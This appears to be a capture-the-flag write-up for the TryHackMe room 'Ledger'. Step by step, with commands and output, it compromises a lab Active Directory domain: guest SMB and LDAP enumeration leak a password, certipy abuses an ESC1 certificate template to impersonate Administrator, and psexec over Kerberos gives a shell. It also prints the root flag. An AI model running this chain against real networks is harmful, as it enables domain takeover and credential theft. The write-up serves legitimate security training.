TryHackMe Ledger Writeup (Windows AD)
Windows AD room. Guest SMB and LDAP description fields leak CHANGEME2023!, and an ESC1 template lets certipy mint a certificate for the Administrator.
Summary
The LABYRINTH host in Ledger accepts guest authentication over SMB, so a RID brute force enumerates the domain users and a NetExec LDAP module dumps their description fields. Two of those descriptions carry the password CHANGEME2023!, for IVY_WILLIS and SUSANNA_MCKNIGHT. BloodHound as SUSANNA_MCKNIGHT shows the guests group holding GenericWrite over the azr OU, which contains the Domain Admin bernard_carney, but the route taken is ADCS instead. certipy find flags the ServerAuth template as ESC1, because it lets the enrollee supply the subject and allows client authentication, so certipy req issues a certificate for administrator@thm.local. certipy auth turns that certificate into a TGT and the Administrator NT hash, and since that account is barred from NTLM the shell comes from psexec.py over Kerberos with the ticket in KRB5CCNAME.
SMB Service Enumeration
SMB allows guest authentication:
1
2
3
4
5
6
7
8
9
10
11
12
$ nxc smb 10.10.34.27 -u 'asdas' -p '' --shares
SMB 10.10.34.27 445 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:False)
SMB 10.10.34.27 445 LABYRINTH [+] thm.local\asdas: (Guest)
SMB 10.10.34.27 445 LABYRINTH [*] Enumerated shares
SMB 10.10.34.27 445 LABYRINTH Share Permissions Remark
SMB 10.10.34.27 445 LABYRINTH ----- ----------- ------
SMB 10.10.34.27 445 LABYRINTH ADMIN$ Remote Admin
SMB 10.10.34.27 445 LABYRINTH C$ Default share
SMB 10.10.34.27 445 LABYRINTH IPC$ READ Remote IPC
SMB 10.10.34.27 445 LABYRINTH NETLOGON Logon server share
SMB 10.10.34.27 445 LABYRINTH SYSVOL Logon server share
Enumerated users with rid bruteforce:
1
nxc smb 10.10.93.165 -u 'asdas' -p '' --rid-brute 5000
Got the description field for the users:
1
nxc ldap labyrinth.thm.local -u 'guest' -p '' -M get-desc-users > scans/nxc-get-desc-users.log
Upon reviewing the file (output has been saved to scans/nxc-get-desc-users.log), I found two passwords among the descriptions:
1
2
GET-DESC... 10.10.93.165 389 LABYRINTH User: IVY_WILLIS description: Please change it: CHANGEME2023!
GET-DESC... 10.10.93.165 389 LABYRINTH User: SUSANNA_MCKNIGHT description: Please change it: CHANGEME2023!
Enumerated with bloodhound:
1
nxc ldap labyrinth.thm.local -u SUSANNA_MCKNIGHT -p CHANGEME2023! --bloodhound -c All
Ingested it into bloodhound CE, and discovered many attack paths.
For once, the group “guests@thm.local” has GenericWrite over the OU “azr@thm.local”, and this OU contains the highly privileged “bernard_carney” user, member of “Domain Admins”. What that means is, it’s possible to use dacledit.py from impacket, as guest, to assign FullControl to inherited objects from the “azr” OU, including “bernard_carney” and ultimately log in as the user by changing their password arbitrarily:
However, this wasn’t the path I followed. I exploited the **ESC1 **flaw in ADCS to forge a certificate for the “administrator” user.
To discover the flaw, I ran certipy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ certipy find -vulnerable -dc-host labyrinth.thm.local -target-ip 10.10.93.165 -ns 10.10.93.165 -u SUSANNA_MCKNIGHT -p CHANGEME2023!
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'thm-LABYRINTH-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'thm-LABYRINTH-CA'
[*] Checking web enrollment for CA 'thm-LABYRINTH-CA' @ 'labyrinth.thm.local'
[*] Saving text output to '20250619123608_Certipy.txt'
[*] Wrote text output to '20250619123608_Certipy.txt'
[*] Saving JSON output to '20250619123608_Certipy.json'
[*] Wrote JSON output to '20250619123608_Certipy.json'
The JSON file (20250619123608_Certipy.json in this case) specifies the vulnerability:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
{
"Certificate Authorities": {
"0": {
"CA Name": "thm-LABYRINTH-CA",
"DNS Name": "labyrinth.thm.local",
"Certificate Subject": "CN=thm-LABYRINTH-CA, DC=thm, DC=local",
"Certificate Serial Number": "5225C02DD750EDB340E984BC75F09029",
"Certificate Validity Start": "2023-05-12 07:26:00+00:00",
"Certificate Validity End": "2028-05-12 07:35:59+00:00",
"Web Enrollment": {
"http": {
"enabled": false
},
"https": {
"enabled": false,
"channel_binding": null
}
},
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
"Permissions": {
"Owner": "THM.LOCAL\\Administrators",
"Access Rights": {
"1": [
"THM.LOCAL\\Administrators",
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"2": [
"THM.LOCAL\\Administrators",
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"512": [
"THM.LOCAL\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "ServerAuth",
"Display Name": "ServerAuth",
"Certificate Authorities": [
"thm-LABYRINTH-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
1
],
"Extended Key Usage": [
"Client Authentication",
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Schema Version": 2,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2023-05-12 08:55:40+00:00",
"Template Last Modified": "2023-05-12 08:55:40+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Domain Computers",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Authenticated Users"
]
},
"Object Control Permissions": {
"Owner": "THM.LOCAL\\Administrator",
"Full Control Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"Write Owner Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"Write Dacl Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"Write Property Enroll": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Domain Computers",
"THM.LOCAL\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": [
"THM.LOCAL\\Authenticated Users",
"THM.LOCAL\\Domain Computers"
],
"[!] Vulnerabilities": {
"ESC1": "Enrollee supplies subject and template allows client authentication."
}
}
}
}
Following an online source, I was able to perform the attack, first by using the vulnerable template to request a certificate on behalf of Administrator (that’s what the ESC1 vulnerability is about):
1
2
3
4
5
6
7
8
9
10
11
$ certipy req -dc-host labyrinth.thm.local -target-ip 10.10.93.165 -ns 10.10.93.165 -target 'thm-LABYRINTH-CA' -ca 'thm-LABYRINTH-CA' -u SUSANNA_MCKNIGHT -p CHANGEME2023! -template 'ServerAuth' -upn administrator@thm.local
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 24
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@thm.local'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
And after that I used the newly created administrator.pfx file to authenticate and grab the NTLM hash for Administrator:
1
2
3
4
5
6
7
8
9
10
11
12
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.93.165
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@thm.local'
[*] Using principal: 'administrator@thm.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@thm.local': aad3b435b51404eeaad3b435b51404ee:07d677a6cf40925beb80ad6428752322
Then I used the NTLM hash to obtain a TGT:
1
2
3
4
5
6
$ getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:07d677a6cf40925beb80ad6428752322 -dc-ip labyrinth.thm.local thm.local/administrator
/home/user/.local/pipx/venvs/impacket/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.13.0.dev0+20250605.14806.5f78065 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in administrator.ccache
The ticket is valid:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ describeTicket.py administrator.ccache
/home/user/.local/pipx/venvs/impacket/lib/python3.11/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.13.0.dev0+20250605.14806.5f78065 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : bd5a18b38a53aa1cbdb5dda0d7cb0131
[*] User Name : administrator
[*] User Realm : THM.LOCAL
[*] Service Name : krbtgt/THM.LOCAL
[*] Service Realm : THM.LOCAL
[*] Start Time : 19/06/2025 12:45:18 PM
[*] End Time : 19/06/2025 22:45:18 PM
[*] RenewTill : 20/06/2025 12:45:17 PM
[*] Flags : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType : rc4_hmac
[*] Base64(key) : vVoYs4pTqhy9td2g18sBMQ==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/THM.LOCAL
[*] Service Realm : THM.LOCAL
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
And to obtain a shell in the machine as Administrator, I first exported the environment variable to use the ticket:
1
export KRB5CCNAME=./administrator.ccache
And used psexec.py from Impacket, using kerberos authentication (no password needs to be supplied):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ psexec.py -target-ip 10.10.93.165 -k thm.local/administrator@labyrinth.thm.local
Impacket v0.13.0.dev0+20250605.14806.5f78065 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 10.10.93.165.....
[*] Found writable share ADMIN$
[*] Uploading file sZKLYGvB.exe
[*] Opening SVCManager on 10.10.93.165.....
[*] Creating service QaCG on 10.10.93.165.....
[*] Starting service QaCG.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4377]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\users\administrator\desktop\flag.txt
The system cannot find the file specified.
C:\Windows\system32> type C:\users\administrator\desktop\root.txt
THM{THE_BYPASS_IS_CERTIFIED!}
The Administrator account is restricted and can’t use NTLM authentication, and that’s why I did fall back to Kerberos.
